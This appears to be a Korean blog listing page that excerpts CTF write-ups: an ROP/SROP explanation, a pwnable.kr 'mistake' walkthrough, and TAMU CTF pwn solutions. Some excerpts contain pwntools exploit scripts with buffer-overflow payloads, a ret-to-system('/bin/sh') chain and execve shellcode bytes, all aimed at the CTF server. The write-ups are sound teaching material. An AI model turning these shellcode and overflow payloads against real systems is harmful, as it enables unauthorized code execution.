https://blog.skullsecurity.org/2015/defcon-quals-r0pbaby-simple-64-bit-rop https://blog.skullsecurity.org/2013/ropasaurusrex-a-primer-on-return-oriented-programming r0pbaby 풀다가 익스 안돼서 찾아보던중에 rop 개념정리 잘 해놓은 곳 발견함,, 처음 공부하는 분들 이거 보면서 하면 이해 잘 될듯 익스플로잇까지 친절하게 스택 프레임 그려가면서 설명해줌
우선 시스템 콜(system call)이 뭔지부터 알아보자면 커널안에 구현되어있는 API로 FILE I/O, SOCKET, read, write, printf, scanf와 같은 POSIX C 함수들 모두 다, 즉 OS에서 제공하는 기본적인 기능들이 시스템 콜로 구현되어 있다. 일반적인 rop가 인자 세팅해주고 마지막에 함수 call 해서 하는 것이라면 srop는 eax(64bit 이면 rax)에 해당 함수의 시스콜 넘버를 주고, rop에서 인자 세팅 해주는것 처럼 세팅해 주고 int 0x80으로 콜 해주면 된다. 근데 가젯이 없을 수도 있거나 찾고싶은 인스트럭션이 있는데 다른 인스트럭션도 딸려나오는 경우가 있다. 보통 syscall rop는 스태틱 컴파일 돼있을 때, got, plt 가 없어서 rop를..
1포인트 짜리 mistake 문제입니다. 힌트는 연산자 우선순위 입니다. 여기는 fd가 0보다 작으면 끝내버리는 부분이고, 여긴 pw_buf2 배열을 선언하고 입력 받은 후 xor 하는 부분입니다. 여기가 이제 pw_buf랑 pw_buf2를 비교해서 같으면 flag를 출력하는 부분입니다. 여기가 xor 해주는 부분인데, XORKEY가 1 이므로 넘겨받은 인자를 1 xor 함을 알 수 있습니다. 이제 대충 어떤 프로그램인지 알았으니 어디가 취약한지 보겠습니다. 이 부분들을 보면 fd에 open과 read의 반환값을 넣고 그걸 0과 비교하려고 한 것이지만, 연산자 우선순위가 비교 연산자(>,
main 에선 reduced_shell 이라는 함수를 실행합니다 reduced_shell 함수인데, 그냥 gets로 s에다 입력받고, 입력 받은 값에 따라 ls,pwd등 명령어를 실행하는데, gets에서 overflow가 납니다. 그러면 system 함수도 있고 하니까 rop 하려고 했는데 이렇게 그냥 /bin/sh 문자열을 줘버립니다. 그러면 그냥 system 함수 인자로 저 /bin/sh 문자열 주소를 넘겨 주면 되겠네요 12345678910111213141516171819from pwn import * s = remote("pwn.ctf.tamu.edu",4324)e = ELF('./pwn4') system_addr = e.plt['system']binsh_addr = 0x804A038 payloa..
NX 안 걸려있네욥,, main 에서 echo 실행하고, echo에서 pwn2번 문제랑 비슷하게 s에 입력받습니다. 근데 이번엔 s의 주소를 출력해주네요? 그럼 shellcode+dummy로 ret까지 덮고 ret을 s의 주소로 덮으면 될 것 같네요! 123456789101112131415161718192021from pwn import * s = remote("pwn.ctf.tamu.edu",4323) SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" s.recvuntil("number ") s_addr = int(s.recv(10),0) print..
main에서 echo함수 불러오고 gets 로 받으니깐 overflow 나겠네요 그리고 여기에도 마찬가지로 print_flag 함수가 있습니다! 그렇다면 overflow 시킨 다음 print_flag를 실행하게 하면 되겠네요 print_flag 주소를 구하고 익스 하겠습니다 이렇게도 풀 수 있고 이렇게 익스 코드 짜서 풀 수도 있네요! 12345678910111213from pwn import * s = remote("pwn.ctf.tamu.edu",4322) payload=""payload+="\x90"*243payload+=p32(0x804854b) #print_flag()'s addr sleep(0.5) s.sendline(payload) print s.recv()cs
되게 오래 전에 했던 tamu ctf인데 대회 당시에는 1,2,4번 밖에 못풀어서 다시 풀고 라업 씁니다,, 문자열 s를 gets로 받는데 v5가 0xF007BA11 이면 print_flag() 함수를 출력해주기 때문에 overflow 시키고 v5를 0xF007BA11로 바꿔주면 돼요 대회 당시엔 이렇게 풀었습니다만,, 심심해서 익스코드도 짜봤습니다,, 뭐 딱히 할 것도 없었지만 12345678910111213from pwn import * s = remote("pwn.ctf.tamu.edu",4321) payload=""payload+="\x90"*23payload+=p32(0xF007BA11) sleep(0.5) s.sendline(payload) print s.recv()cs